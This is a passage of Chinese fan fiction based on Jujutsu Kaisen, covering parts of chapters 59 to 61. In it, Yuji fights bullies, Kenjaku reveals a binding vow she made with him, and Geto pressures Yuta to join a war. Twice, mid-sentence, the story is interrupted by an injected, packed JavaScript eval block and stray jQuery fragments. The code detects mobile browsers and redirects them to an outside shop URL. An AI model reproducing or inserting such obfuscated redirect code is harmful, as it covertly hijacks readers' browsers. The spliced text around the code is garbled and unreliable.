他灵活地躲开,绕到了另外的通道来到了兑奖处。现在负责前台工作的恰好是虎杖悠仁熟悉的那个打工人,他一边懒散地工作,一边伸长脖子去看爆发在游戏厅里的争吵。
换到的奖品有一些做工劣质的塑料玩具,一些有名IP的周边产品,以及更多虎杖悠仁只是扫了一眼就塞进袋子里的小玩意儿。
就在店员翻找还有没有剩余的奖品时,那群不良少年被赶了出去,他们和站在前台的虎杖悠仁擦肩而过,他敏锐地听到了“再搞一点”、“不是让那家伙在外面等着吗”之类的话。
“那个没有了,你要换一个吗?”寻找无果,店员提出了解决方案。
虎杖悠仁的目光追着那群人的背影,随口说道:“算了,我不换啦。”
听起来那群人在游戏厅里的消费用的不是他们自己的钱。这也不难理解,敲诈勒索已经算是各种自称不良的家伙“最道德”的行为了。虎杖悠仁走出了游戏厅,左右张望一下,很轻易地就跟上了那群人的脚步。
他们果不其然向一个坐在饮品店里的学生招手,胖胖的男生低着头从店里走了出来,跟着他们一起去了无人经过的小巷。
那个男生看着很眼熟,虎杖悠仁觉得自己在走廊里见过他,应该是同年级的同学。至于那几个不良他倒是没什么印象,看校服大概是高年级的人吧。
只是跟过去看看,虎杖悠仁这样想道。
他试过像伏黑惠那样处理自己遇到的问题,不过可惜的是并没有取得喜人的结果。单纯诉诸暴力无法解决问题,他尝试着找到更深层次的原因,得到的结论也只能被简单归结为人的复杂性。欺凌者、被欺凌者、旁观者,虎杖悠仁看着他们的时候觉得每个人都像一本总也翻不到结尾的书,截取出来的片段只能让他读懂对方人生中的某一页......
原来如此,他想他大概终于有些明白伏黑惠说的那些话究竟有何意义了。
不在乎自己做的究竟是对的还是错的,只凭良心选择帮助他人,这样的话未来也不会为自己的选择而感到后悔,因为影响决定作出的只有他自己。
发生在小巷里的是再寻常不过的恶,当虎杖悠仁的身影挡住了投入狭窄小巷中的夕阳时,将胖男生堵在墙角勒索的不良们神情不善地望向主动来找麻烦的家伙。
“啊?少管闲事,你也想变成这样吗?”其中一个人一脚踢在了胖男生的膝盖后弯,看见他吃痛狼狈地跪倒之后幸灾乐祸地讥笑着。被欺凌的人只是尽可能地缩小自己的身子,企图用这种掩耳盗铃的方式减轻痛苦。他低着头,抱紧被翻得乱七八糟的书包,书本钥匙等东西散落一地,被人随意践踏却无动于衷。
虎杖悠仁很熟悉这种眼神。
被救也好,被欺负到底也罢,他们不期待从天而降的英雄,只是抱着自己的怨恨或恐惧任由命运来决定自己是否继续承受痛苦。
虎杖悠仁将兑换来的奖品放在一旁,扭动手腕。
他可不是英雄,要说的话,他其实是个蛮自私的坏孩子。他能做的只是顺从自己的心意,将这群碍眼的家伙通通揍飞。他无法为众多像是缩在角落里的胖男生一样的受欺凌者提供长久的庇护,至于明天、后天或者更往后的日子里他们会不会遭到这群不良变本加厉的报复,虎杖悠仁无暇思考这样遥远的未来,也不觉得自己有能力定义他们的将来。
他略过两个一看就是跟班的家伙,对着领头的不良脸上径直挥拳。他当然没有使用咒力,可仅凭肉|体力量挥出的拳头也不是这个家伙能够随意承受的。指根的骨节传来击打硬物的感觉,虎杖悠仁有意收敛了一些力量,不良却感觉自己像是被一辆火车头迎面撞飞了出去,身体竟然腾空倒飞,背后撞上小巷脏兮兮的灰墙发出沉闷的“咚”声,火辣的痛感才慢慢爬了上来。
“你......?!”
没有人能够站着说完话,等到他们反应过来时,视野里全都是躺着哀嚎的人。其中一个愣愣地捂着麻木又不断涌上血腥味的嘴巴,一颗牙齿从他的指缝间漏到了地上。
角落里的胖男生仍旧低着头。
虎杖悠仁拍拍手,看到指关节上微微泛着红,又用力搓了搓,但只是让那些红色变得更加显眼。被他放过的小跟班看到他转身,粉发少年的脸上面无表情,下巴微微收回的同时抬着眼皮盯着他:“你呢?”
甘井凛吞咽着唾沫,僵着身子让开了巷口。直到虎杖悠仁已经重新抱起那堆奖品迎着夕阳走入大道,背影消失在了来往的人群当中后,他才战战兢兢地去看被打倒的不良们。
他的心中居然有一种难以言说的畅快和隐秘的罪恶感。
甘井凛认识虎杖悠仁,或者说这附近的学校里和他一样混得不怎么样的不良们大概都听说过粉发少年的名字。如果在学校外碰到他的时候,他们和骑在他们头上作威作福的“老大们”待在一起、只是干一些望风的活,多数时候能够免去像今天其他人遭遇到的这一场暴揍。如果正巧被他看到他们正亲自上手,下场不会好到哪里去。
......还不如对他们一视同仁,要揍就一起揍了。甘井凛明白自己在做什么,也明白自己为什么做。他和其他自甘堕落的人一样,但他多少自诩还有那么一点良知,只是这点良知不足以支撑他像虎杖悠仁一样活得正直又自在,也偶尔只在对着老大们点头哈腰、哈哈傻乐的时候向着他自己的心脏发出细密的刺击,那微弱的痛很快也会被他自己忽略过去。
“喂甘井!你还愣着干嘛?!痛死了!!”
听到有人呼唤自己的名字,甘井凛下意识地弯下腰,放低自己的姿态去当老大们的人肉扶手。
虎杖悠仁看了一眼时间,决定往回走。盘算着在路过超市的时候可以买一点芝麻油回去,冰箱里的那瓶已经见底了,开袋即食的盐渍高丽菜倒是还有存货。也许可以买一些零食和饮料,周末的时候他和乙骨忧太约好要用从二手市场淘回来的投影仪在家里看电影来着。
刚才的小插曲并没有影响他的心情,他像是众多刚刚离开学校、与同伴分别的学生一样,期盼着归家。
虎杖悠仁全然没有留意到跟在自己身后的阴影。
最近他和乙骨忧太的相处模式又回到了原来的样子,除了放学后他们不再一起行动之外,其他时间仍旧共享着彼此的生活。黑发少年不再试图在他面前提起之后的计划,可能因为他们都在为未来感到迷茫吧......至少虎杖悠仁觉得自己是在逃避着什么,就像他总是会把假期作业拖到最后一天来完成的那样,他只是认定他们还有时间,又或者期待着命运直接将他推向一个不可反抗的既定未来。
只不过那样就有点太不爽快了。
虽然他总爱把假期作业拖到最后,但他向来能够在自己留出的时间里将它们完成到老师挑不出毛病来的程度。
命运总是如影随形。
“妈妈!我想要吃蛋糕!要吃草莓冰激凌!”
女孩清脆的哀求声传入虎杖悠仁的耳朵,他和一对母女共同站在十字路口的边缘等待着信号灯变绿,女孩拉着母亲的裙摆撒娇道。
今天的夕阳有点太红了些,半挡住太阳的云仿佛在燃烧一般,红得彻底。
“妈妈!妈妈!!就吃一个!!”
女孩变得吵闹了起来,她的母亲改为牵住她的手,避免她因为要求得不到满足而蹦跳着发泄情绪时发生什么意外,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378198|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要求她在等待信号灯的时候要保持安静,如果女孩能够做到的话,她就会在走到马路对面后在便利店里买一根雪糕。
得到了承诺的女孩喜笑颜开,果然安静了下来。虎杖悠仁看着她亮晶晶的眼睛,从里面挖掘到了藏不住的期待与幸福。
一只手搭在了他的肩膀上。
绿色的信号灯亮起,等待已久的女孩小小地尖叫了一声,拉着母亲向马路对面的便利店跑去,却被大人从容的脚步绊住,只得改为踏着小碎步来表达自己的迫不及待。
周围的人群不约而同地向前,虎杖悠仁呆立在原地,遍体生寒。
肩膀上的手传来淡淡的香气,是市面上最常见的女士香水。虎杖悠仁能够闻出花香的区别,但就像水果硬糖的味道与真正的水果天差地别一样,他嗅不出作为香水时栀子花和山茶花香的区别。
放在肩膀上的手轻轻用力,他觉得自己像是一颗轻得不能再轻的气球,那只手就是握住线绳、决定他是否还有资格留在地面上的审判者。他几乎被完全揽在了怀里,被比他稍高一些的人带着走上了斑马线。
余光扫过去的时候,他看到了黑色的长发。
行至马路中间,他都不曾抬头。揽住他的人似乎满意这样的沉默,但也不会为少年轻不可闻的呢喃而感到冒犯。
“......妈妈。”
虎杖悠仁听到身边的人轻声哼笑。
——
“我就有话直说了。”
夏油杰没有征求乙骨忧太想法的意思,独断地开启了话题。乙骨忧太意识到这次谈话与他预期中的一样严肃,收敛了表情,认真地点了点头。
“你和悠仁常与猴子们混在一起,我想你应该已经有了自己的判断,”即便是夏季,夏油杰也穿着那一身袈裟,仿佛从来都感觉不到热一样,“对这个咒术师在暗中维护社会秩序,却由非术师们主导着的、扭曲的世界。”
乙骨忧太明白夏油杰已经发现他和虎杖悠仁接触咒术师的事情了。
“我们拥有力量,也因此背负着责任。但这责任换来的却是排挤与伤害,仅仅因为数量众多,弱者就能轻易地凌驾于强者之上——你应该明白我的意思。”
就像你们曾经经历过的那样。
就像你们曾亲身体会过、直到现在也还折磨着你们的痛苦。
“夏油先生,”乙骨忧太开口道,“你到底想做什么?”
夏油杰摊开双手,像是在拥抱逐渐落幕的太阳,也像是在拥抱自己即将创造的未来:“让这个世界进化成它本应变成的样子。”
他那疯狂的、狂热的、不容置疑的眼神终于从空中落了下来,如有实质的重量砸在了乙骨忧太的肩膀上,令他不由自主地浑身颤抖。
“这不会是只要等待就能避免的选择了。这是战争。你必须要做出选择。”
看着眼前这个几乎要将生命当做薪柴一起投入火焰当中去的人,乙骨忧太仍想在自己的回忆中寻求他曾经有过的美好。那些快乐的、受到关照的、仿若家人的记忆在此刻被无限放大,与眼前残酷又狂热的现实激烈地相互抢夺着乙骨忧太的意志。
不是很早以前就决定好了吗?为什么现在还会这样犹豫不决?
乙骨忧太动了动手腕,卡在腕骨上的勾玉滑落至更敏感的内侧。他早就决定要和悠仁一起离开这里,与提供庇护之所的恩情相比,想要和虎杖悠仁永远在一起的愿望此时此刻忽然无限度地膨胀了起来。
说他自私也无所谓,一旦察觉到自己的心意,乙骨忧太就像个亡命之徒一样将一切全部抵押了出去,包括他自己。
只要能够让那孩子得到幸福,就算把自己也当成祭品也要——
楼梯间里的争吵还历历在目。
倘若当时虎杖悠仁流露出半点犹豫......不管是激烈抗辩后被他说服,又或者是沉默中流露出想要离开的隐喻,乙骨忧太都会毫不犹豫地选择放手。可偏偏是虎杖悠仁先推开了他。粉发少年决绝地终结了那场对话,这比任何语言都更有力地宣告着乙骨忧太已经被坚定不移地选择了。他们之间的纽带比他想象的、认识到的都要更加坚韧、更加牢固,近乎坚不可摧。
人一旦拥有了哪怕献出生命也想要保护的东西......就会变得贪婪而卑怯,不舍得轻易死去,不舍得拱手让人。
这么看来,我还真是个卑劣的家伙。乙骨忧太心想。
“你不想和悠仁一起生活在一个没有咒灵与诅咒、没有术师与非术师之分、没有排斥与否定的世界吗?我能看得出来......你其实很期待,对吧?”
这几乎成了最后一根稻草。
“这份恩情......我会替他还给你的。”乙骨忧太沉默了许久,当他再度开口时,声音中的某种东西逐渐凝固了。那根联系着他与夏油杰——这位曾以监护者与引导者的身份出现在他们身边的人——之间的、时隐时现的线,在此刻应声截断。之后的一切都将卷入无法摆脱的诅咒洪流,无法......挽回。
夏油杰满意地笑了起来:“别太紧张,我可是很温柔的。”
乙骨忧太凝视着夏油杰脸上的笑容,空地上只余一片死寂。
那是他永远无法想象能够出现在自己脸上的笑容......就像带着余温的灰烬爆发出最后的火光,徒留温热的残响。
60. 第 60 章
虎杖悠仁从没想过他和妈妈的重逢会这样突兀到令人措手不及。眼前的女性他从未见过,却在相遇的刹那感受到了深刻在他们灵魂中的共鸣。
他从未和旁人提起过,连乙骨忧太都不曾知晓这比血缘更紧密的联系。虎杖悠仁看见了隐没于发丝之间的缝合线。
“我们很久没见了吧,悠仁,”女人切切实实地揽着他走向某个方向,偏离了他既定的路线,“真是令人欣喜的再会。”
她的声音听起来过于年轻,就像是刚刚步入社会的上班族,然而说话时的咬字吐息却带着陈旧而古老的调子,仿佛肉|体与灵魂的长度并不契合。
那是当然的了,虎杖悠仁觉得有冷汗从脑门冒了出来。他能够感觉得到,不单单是身高体重乃至性别的变化,而是一个人的身体被完完全全地掏空,当做寄生的躯壳行走着。
看他低着头不说话的样子,羂索不恼也不失望。虎杖悠仁并非她孕育的第一个子嗣,不管她使用了何种方法将自己的血脉延续了下去......她的造物们没有一个能够超脱她的想象,完成自我进化。
尽管已经预料到若是它们真的脱离了自己为他们安排的命运,到时候发生的事情也许会为她的计划增添一些小小的麻烦......但羂索对此并非深恶痛绝,倒不如说如果它们始终规规矩矩地走在自己的路上,那才会令她感到失望。
在保证筹谋千年的计划顺利进行的前提下,小小的叛逆是被允许、甚至是被期待着的。
虎杖悠仁有太多的疑问。比如妈妈究竟是什么人、这些年究竟在干什么,能够更换身体的是她的术式吗?还是某种不为人知的咒术?这么多年都不曾听闻她的消息,为什么现在突然找到自己?
联结着他和妈妈之间的纽带让他觉得太过亲密,直觉、或者说第六感之类的玩意儿一直在警告他这样的关系并不正常,甚至这个人的存在都让人觉得匪夷所思。
“......有什么事吗?”他压抑着自己声音中的不坚定,终于直视了女人一直放在他身上的目光。
似乎觉得这样直白的话不够谦逊,他又有些不自然地补充道:“因为妈妈你.....”
他忽然瞥见了羂索翘起的嘴角,本应代表着慈爱与亲昵的称呼仿佛有了真实的温度,灼人又危险。
虎杖悠仁很少动用羂索寄给他的钱,离开村子后更是每一笔都被他寄存在了银行,如今已经存到了一个可观的数字。
羂索收回了放在他肩膀上的手。
这让虎杖悠仁可悲地发现他居然仍旧贪恋着这种接触......并非肌肤的触碰,而是一种因为相同的血缘所产生的趋光性。明明知道她所在的方向并非真正的乐园,透过多变的外表也已经窥见到了如同泥沼般择人而噬的内里,可他的心有一部分却背叛了他自己,变成扑火的飞蛾义无反顾地向妈妈的方向飞了过去。
好像已经被污染了一样。
羂索的表情依旧神秘且耐人寻味,她毫不掩饰自己的目光,那里面孕育着名为好奇心的漩涡:“悠仁还记得吧?你和我的约定。虽然时间过了很久,但我一直都在等你。”
“等我?”虎杖悠仁机械性地重复着她的话,努力想要使突然不太灵光的脑袋重新运转起来。
如果他的双目足够锐利,能够穿透那副皮囊、看清正在和自己说话的人究竟是什么东西的话......
“对哦。我一直在等你。”
羂索蛊惑着,她将粉发的少年玩弄于股掌之中,享受着造物任凭自己摆布的愉悦。
“你我的约定——妈妈完成了你的愿望,从那之后,悠仁要当一个听妈妈话的乖孩子,”她眯起眼睛,看着虎杖悠仁的脸骤然变得煞白,盯着愤怒瞪视过来的琥珀双眼,轻描淡写地继续说了下去,“希望你没有将它当成童年时的玩笑话。”
想要见到乙骨忧太。无知的孩子听不懂所谓“约定”之下暗藏的危险,轻率地给出了承诺。
见到心里最喜欢的人,然后当一个乖孩子。
对他而言是厚重的期待,然而这样的感情在旁人眼中却轻得可怕。很轻很轻,却价值不菲——羂索轻而易举地用轻飘飘的、无需她耗费任何精力就能轻易付出的“代价”换来了毫不讲理的支配权。
当真相终于被摆到自己眼前时,虎杖悠仁率先感觉到的是恼怒。
他怒不可遏地向侧边退开,企图远离微笑着的女人:“你骗了我!原来那个时候你是在......那是一个束缚?!可是当时我根本不会——”
“是啊,真可怜啊,”羂索抱着手臂,看着他的眼角逐渐爬上可怖的血丝,掠过因为发现自己被欺骗、又或者是真心索求的亲情不过是伪装过的假象之类的理由而不断起伏的胸膛,“你那个时候还只是一个什么都不知道的孩子,却已经拥有了咒术的天赋。”
说到这里,她似乎被自己的话逗笑了,无视眼前的虎杖悠仁,眼里塞满了刻薄与挑剔。
无意识中缔结的契约,跨越了不算漫长的时间击中了虎杖悠仁。他甚至想要回到过去苛责那个什么都不知道的幼童,哪怕他现在并不知道羂索此行的真正目的,但他的眼睛已经看到了酝酿在所有人头顶的阴谋与伤害。
也许那份亲昵的确因为束缚的存在而变得更加明显,但羂索并不打算提醒虎杖悠仁——他们在小公园的初遇,粉发的孩子是如何欢快地跑进了自己的怀里,如何透过完全陌生的外表与气味认出了妈妈的灵魂。
那对羂索而言,竟然也是第一次发生的奇迹。
她觉得大概正是因此才对名为虎杖悠仁的造物产生了与以往不同的感情,比起面对其他人时单纯而又冰冷的姿态,她对待这个孩子的态度显然是不同的。
愤怒过后,虎杖悠仁不禁开始怀疑起来。他能够听到心脏跳动的声音,它让周围热闹的街道在虎杖悠仁的耳朵里按下了静音键,令他陌生又茫然。
为什么要骗他立下束缚?是想要将他变成可以随意操控的傀儡,还是像是只能接受指令的机器人那样抹杀他自己的想法?难道他感受到的联系并非源自血脉的呼唤、也无关对家人的渴望,只是一个被诅咒的、强制缔结的条约吗?!
“那可不是欺骗,是由咒术带来的等价交换。多人间结成束缚可没有那么容易,我也是抱着试试看的心态与你定下了约定……我低估了你对家人的渴望,悠仁。难道爷爷对你不好吗?”
爷爷,对了,还有爷爷!比起他自己,虎杖倭助和妈妈接触的时间肯定更长!如果爷爷知道什么......
“......难道、说......?!”
他没能见到爷爷最后一面。尽管虎杖倭助的确因病不得不卧床,硬朗的身体也被病痛折磨得虚弱到无法下地行走,可至少那个时候,情况还没有糟糕到只需一晚就会天人永隔。
他甚至连爷爷的葬礼都没有参加,再见面时已经隔着冰冷的土壤和棺材,没有照片的墓碑上刻着老人的名字,虎杖悠仁还记得自己清理那些刻痕时用手指抚触边缘的感觉。
疑惑之后则是不肯接受。妈妈没有回答他的话,笑容中带着慈爱的关怀,仿佛他们就是真正的母子一样。
虎杖悠仁的声音染上了一丝崩溃前的颤抖:“为什么?为什么啊?!妈妈、你到底想要做什么?!”
从没有人主动告知他真相,他的人生中总要问上很多个为什么。小的时候他会问为什么他从记事起就没见过爸爸妈妈?为什么只有他和爷爷生活在一起?为什么只有他自己能够看到那些怪物?长大一些会开始疑惑为什么自己会有咒术的天赋?为什么自己会拥有这个术式?为什么世界上会有一些人做着毫无理由的恶事?
他想问的不是这些。他想问“为什么电影的主人公们没有得到好结局”、“为什么喜欢的饭团口味停止生产”、“为什么新出的饮料这么难喝”、“为什么要留这么多假期作业”,越琐碎的事越好,他想要的是被这样随意的问题填满的日常。
难道从出生起,他的人生就已经注定会被卷入未知的阴谋、被什么人当做筹码、被当做某种代价踢来踢去吗?
羂索轻飘飘的模样彻底让他心如死灰,刚才涌动的愤怒与不解在顷刻间烟消云散,即便想要再次升起一些能够产生波动的情感也无济于事。
“目的?硬要说的话,有,但我觉得你想问的是你自己的事吧?”羂索敲了敲下巴,随口说道:“安心吧,那对你来说并不是什么困难的事。我还没准备让你这么早就遵守和我的约定,这次再会只是我一时心血来潮,比起到时候费心费力解释,还不如提前让你做好准备。”
说到这里,她竖起一根手指放在唇边,轻声警告道:“不许把我们的事说出去哦,悠仁。”
不知为何,她似乎心情突然变好了一些,又或者是终于找到了可以多说两句的人,羂索继续说道:“不要露出这样的表情。是因为和乙骨忧太待在一起的时间太久,让你变得这样容易对未来感到绝望了吗?”
听到乙骨忧太的名字从女人的嘴里吐出来,虎杖悠仁暗淡下去的眼睛亮了一瞬。
“你都知道......可我寄走的照片里根本没有——”
虎杖悠仁的话卡在了半截,他想到了孔时雨,那个接受妈妈委托的情报贩子始终在盯着他!
“现代社会可以收集信息的方式太多了,这一点我倒是很欣赏,”羂索摊手,时间凿刻出的韵味在这具过分年轻的躯体上呈现了出来,只要一时不察就会掉入她准备的陷阱中,“那孩子也很可怜啊,家里的其他人都是非术师,只有他自己继承了祖先的咒术天赋。”
看着虎杖悠仁紧紧皱起的眉毛,她微微颔首,像是忍耐着什么似的说:“你和夏油杰他们一起生活了这么多年,难道不知道他们为什么想要追求一个没有咒灵和诅咒的世界吗?”
“和夏油先生有什么关系?”
虎杖悠仁极力想要让自己镇定地思考,他必须时刻绷紧神经才能追上羂索抛出的一个个话题。
“呵呵,没什么。只是突然想到我们要做的事有一些相似之处吧,虽然这么说比较牵强,但我们都想要带给这个世界一些变化。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378199|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们不知何时走入了一条商店街,夕阳已经完全落入高楼大厦之后,即将彻底消失在地平线下。来往行人变多了,这样的环境让虎杖悠仁感到更加不安。
“但是我对他人的理想不感兴趣,对他想要创造怎样的世界也不关心。悠仁,你难道不好奇超脱于咒灵与术师之外的存在吗?不是神佛那么简单的定义,而是凌驾于所有想象尽头之上的、只存在与黑暗混沌之中的某种东西。”
虎杖悠仁望着侃侃而谈的羂索,此时她不再保持着毫无亲和力、冰冷而渗人的微笑,呈现在她脸上的表情让虎杖悠仁觉得无比熟悉——没错,简直就像是孩子一样,和在马路边上吵着要母亲给她买冰激凌吃的女孩一样的笑!!
“你觉得由一亿人的咒力组成的‘诅咒’会是什么样子的呢?”
这样的发问对虎杖悠仁来说是过于残酷的。
羂索似乎已经将她所有的计划对虎杖悠仁和盘托出,而这往往意味着她已经胜券在握,或者说她将他视作死物一样的棋子,毕竟棋手哪怕对着棋子自言自语,将自己的路数全部泄露给了它,棋子也不能跳起来将自己听到的事情到处宣扬。
而且,这似乎同样意味着......羂索笃定虎杖悠仁会和她站在同一边。虎杖悠仁觉得这不是羂索在小瞧自己,她并不厌恶反抗,假使摆上棋盘的棋子真的自己跳了起来,她也会报以最大的宽容允许它反抗、挣扎,以此来满足自己的好奇心吧?
所以他问道:“那个时候我们会怎么样?”
不管虎杖悠仁是真的好奇这个问题的答案,还是想要借此机会彻底反驳自己,羂索都对他的提问感到满意。
“谁知道呢?也许所有人的咒力都会被剥除,也许不会。太阳也许会在第二天照常升起,也许会被那东西一口吞掉呢。”
虎杖悠仁口袋里的手机震动了起来。他明白只有乙骨忧太会在这个时间给他打电话,只是现在他不太想接。
在他因为这通电话而分心的片刻,羂索伸手从他的衣领里将挂在红绳上的勾玉拎了出来。凭她的眼力自然能够看穿这个拙劣的咒印,如果追溯咒力的源头......
“......这倒是有点意思。”
“还给我!”虎杖悠仁强硬地从她手中夺回了自己的东西,警惕地看着羂索。这样的眼神让她品味出了什么不同寻常的细节,嘴角的弧度微微扩大了几分。
“今天就到这里吧,悠仁,你还有足够的时间考虑......不要逃跑,你是个乖孩子的,对吧?”
虎杖悠仁紧紧握着勾玉,感受到边缘嵌入掌心时的疼痛,企图借由这种方法让自己变得更清醒一些。
羂索没有再管站定在原地的虎杖悠仁,径直甩下他继续向前。虎杖悠仁看不见她的表情,只能听到她还在散布着诅咒的声音:“你得明白自己生来就是与众不同的,想要成为超脱于旁人的存在,首先要舍弃原本的自我。不管是被逼无奈还是主动求索,只要向前迈出一步,就是距离理想更近了一点。”
“我很期待你哦,悠仁。”
虎杖悠仁本是羂索为了使两面宿傩受肉而准备的容器,他只要健康地活到成年、对两面宿傩的诅咒拥有足够的抗性就足够了。什么时候对他产生了超越这些之外的期待的呢?是从发现他不知从谁那里继承了咒术天赋的时候吗?还是得知他拥有了羂索曾经占据过的身躯同样的术式的时候?
她现在倒像是一位真正的母亲,兀自期待着孩子长大后的模样。会是她想象中的模样吗?还是选择狼狈地堕落?亦或者......为她献上某种惊喜?
虎杖悠仁站在人来人往的人行道上,注视着妈妈的身影消失在街道的尽头。离开羂索的身边,他像是终于被允许回到水中的鱼一样,嘴巴里又干又苦,带着重获新生的恐惧与庆幸。
打入手机的通话因为长时间无人接听而转入了语音信箱,虎杖悠仁这才有些慌张地将它掏了出来,点开之后听到了乙骨忧太的声音。
“悠仁?你在哪里?社团活动时间早就结束了吧?听到留言之后给我回电话。”
他的手指搭在拨号键上,若即若离。
“......一亿人的、诅咒。”
违背束缚的代价不需要别人向他言明,在察觉到自己背负的枷锁之后,虎杖悠仁自然而然地明白了惩罚的可怕之处。
妈妈想让他做些什么,为了这个目的,她甚至可能在他降生之前就已经做好了准备。
只是他绞尽脑汁也想不明白自己究竟有什么特别之处。他能感觉到羂索对待他的并非夏油杰在寻找同伴时的样子,倒像是对待一件浑身绑满炸|弹的道具,费尽口舌告知他真相、将自己的计划透露给虎杖悠仁,期待的也不是将他变为自己的助力,而是想让他从笨拙的危险道具变成能够自己寻找目标的工具——
选择自己落下的地方。
虎杖悠仁按下了拨号键,几乎没有任何停顿,电话那头被人接起。
“忧太?抱歉啦,我和同学去吃甜品,没有注意时间......现在马上往回走!”
61. 第 61 章
乙骨忧太发现他和虎杖悠仁之间的相处模式又回到了他们发生争吵之前。
粉发少年不再回避他的接触,没有社团活动的日子他们重新开始一起回家,一起训练。虎杖悠仁会拉着他在一楼的餐厅和厨师学习怎么做饭,并邀请他做第一个品尝成果的人。
乙骨忧太在虎杖悠仁迫切的注视下盛了一勺咖喱放入嘴中,坐在他对面的人雀跃地向前倾身,目光灼灼地盯着他:“怎么样?怎么样!”
“好吃诶!”
不论是调味料的分量还是菜品的准备都堪称完美,看得出来制作这份料理的人肯定细致地研究了很久,当然也在乙骨忧太不在的时候练习过很多次。
直白的夸奖让虎杖悠仁喜笑颜开。最开始热锅或者放入食材的时候的确总是手忙脚乱,有的时候太过焦急以至于他忽略了滚烫的锅边,手臂上偶尔会出现的烫伤就是由此而来。
乙骨忧太为他处理过很多次这样小小的烫伤,保证受伤的地方完好如初,没有伤疤留下。
“如果我也会反转术式就好了。”虎杖悠仁经常在乙骨忧太握着他手臂仔细检查还有没有漏掉的伤口时这样说,然后得到了黑发少年不满的敲打。
“悠仁总有一天能学会的,”乙骨忧太的手指在他的皮肤上移动,通过按压和触摸确定没有留下看不见的伤,虎杖悠仁只能看到他垂下去的脑袋,盯着那处显眼的发旋发呆,“但我很高兴你能来找我帮忙,就算你以后学会反转术式也是哦。”
“......为什么?”虎杖悠仁花了很大的力气才忍住乙骨忧太的手指带来的痒意,嘟囔着问道。
“希望你能多麻烦我一点。”
乙骨忧太抬起头,迎着虎杖悠仁的目光坦然笑着说。
因为粉发少年有点想要移开又不肯轻易放弃的眼神,乙骨忧太勾起手指挠了挠脸颊,解释道:“......我承认,其实这样会让我觉得自己有点作用,是为了满足我自己的需求......没有调侃你的意思,只是我——”
“可以了我知道了!”虎杖悠仁从他的手中抽回自己的手臂,重复了一遍:“我知道了。”
乙骨忧太遵从了他的意愿没有继续说话,只是不容拒绝地再一次将他的手臂拉了回来,完成了最后一部分检查,直到确认无误之后才放过了他。
虎杖悠仁学得很快,能够驾驭炒锅之后就再也没有将自己烫伤过,更别说他还学会了用咒力保护自己的手臂——这样可以锻炼他的咒力操作。不过他也没有遵守他和乙骨忧太之间的“约定”,除了训练中出现了没办法自己处理的伤势,一些连他自己都没有发现的擦伤只会在被乙骨忧太提醒时才会顺势交给他帮忙处理。
某一天,乙骨忧太经过门边的时候突然看到了他们为了记录身高变化而留下的黑线。
“我们很久没有量过身高了吧?有一米七了吗?”
他拽着正在整理墙上泛黄海报的虎杖悠仁来到门框旁边,拿着一本书来让他顶在头顶:“站直。”
虎杖悠仁挺了挺胸,心想这本书还挺沉的。
“家里有卷尺吗?”他的眼睛四处乱瞟,最后微微向下垂着,落在乙骨忧太的下巴上。
“应该没有,晚些时候我去问问菜菜子她们,如果没有的话明天去买一卷就好。”
乙骨忧太仰着头,划下了14岁的虎杖悠仁在此刻定格的身高。拍了拍虎杖悠仁的胳膊表示已经画好了,从书本底下逃出来的粉发少年回头望向墨迹未干的划线:“应该还没到吧......”
他的话说了一半,推着乙骨忧太和自己换了个位置。小的时候他还发誓以后要比乙骨忧太长得更高,但黑发少年在遵守承诺这一点上做得实在无可挑剔。无论年岁如何增长,他始终比虎杖悠仁高上一点。
对虎杖悠仁的思绪了如指掌的乙骨忧太偷偷笑了一下,在琥珀色的瞳仁瞪过来之前收敛了嘴角的笑意,安慰道:“我以后会比你先变成老头子的,那样就是永远要比悠仁矮得更快了。”
虎杖悠仁松手,让那本有些斤两的书径直落在了乙骨忧太的头上,发出沉闷的“咚”声。头顶上传来的重量让乙骨忧太缩了缩脖子,又规规矩矩地站直。
记号笔在墙面上扯出一道崭新的痕迹,虎杖悠仁在旁边写上了今天的日期。
“待会儿还要继续去训练场吗?你最近也太有干劲了吧?”他收回那本书问道。
“因为想要变得更强一些,”乙骨忧太回答,“你想邀请我出去玩吗,悠仁?”
虎杖悠仁有的时候很喜欢他的敏锐。
“倒也不是出去玩。咱们班的文化祭不是选定了鬼屋主题嘛,制作道具需要准备很多材料,你陪我去吧?顺便我们还可以在那附近找找有没有好吃的店。”
“好啊。”乙骨忧太欣然同意了下来。
他们拉上了小推车,奔向附近的五金店。
中途经过一处刚刚翻修过的公园,一排排新栽种的枫树叶片火红,从外面看上去就像是在燃烧着一样。这片公园显然得到了附近居民们的喜爱,很多人趁着满山红叶盛放的时候和家人朋友一起来到这边拍照游玩,也有不少人选择来此露营。
看到那些人,乙骨忧太突然想起来:“这个月的照片还没有寄出去呢。”
虎杖悠仁顿了顿,很快将那点异样掩饰了过去。
“明天我会记得寄出去的。”他保证道。
购买材料的过程非常顺利。中学的文化祭和小学的不同,完全以娱乐性质为主,每个班级拟定主题、准备材料、布置会场的过程都由学生们自己主导。一年级的时候他们没什么经验,体验了高年级前辈们准备的活动之后全都铆足了劲等着第二年大展身手。
虽然活动的主题无非就是吃的、喝的、玩的,但在活动体验和会场布置上他们倒是花费了不少心思。虎杖悠仁和乙骨忧太的班级选定的主题是鬼屋,是个老旧但不容易出错的选择。为了营造氛围,他们买来了足够多的黑布用以创造昏暗的环境。又因为场地有限,所以只能尽可能的将路线设计得曲折复杂,需要耗费的材料也成倍增加。
